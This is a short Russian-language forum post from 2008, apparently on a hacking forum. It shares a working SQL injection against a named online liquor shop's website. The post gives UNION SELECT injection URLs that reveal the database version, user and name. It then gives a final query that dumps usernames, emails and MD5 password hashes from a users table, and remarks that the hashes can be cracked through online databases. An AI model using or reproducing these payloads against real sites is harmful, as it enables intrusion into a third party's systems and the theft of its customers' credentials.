
08.09.2008, 18:39
|
|
Новичок
Регистрация: 24.07.2008
Сообщений: 29
Провел на форуме: 109513
Репутация:
52
|
|
http://www.uniprod.ru
алкошоп)
version() = 4.1.22
user() = uniprod@localhost
database() = wwwuniprodru
http://www.uniprod.ru/mods.php?name=shop&action=goodsinfo&id=-272+union+select+1,2,3,4,concat_ws(0x3a3a3a,versio n(),user(),database())/*
есть табличка fs_users с полями:
uname
passwd
uid
email
вот конечный запрос,пассы в md5, но в основном есть в он-лайн базах...
http://www.uniprod.ru/mods.php?name=shop&action=goodsinfo&id=-272+union+select+1,2,3,4,concat_ws(0x3a3a3a,uname, email,passwd)+from+fs_users+limit+0,1/*
|
|
|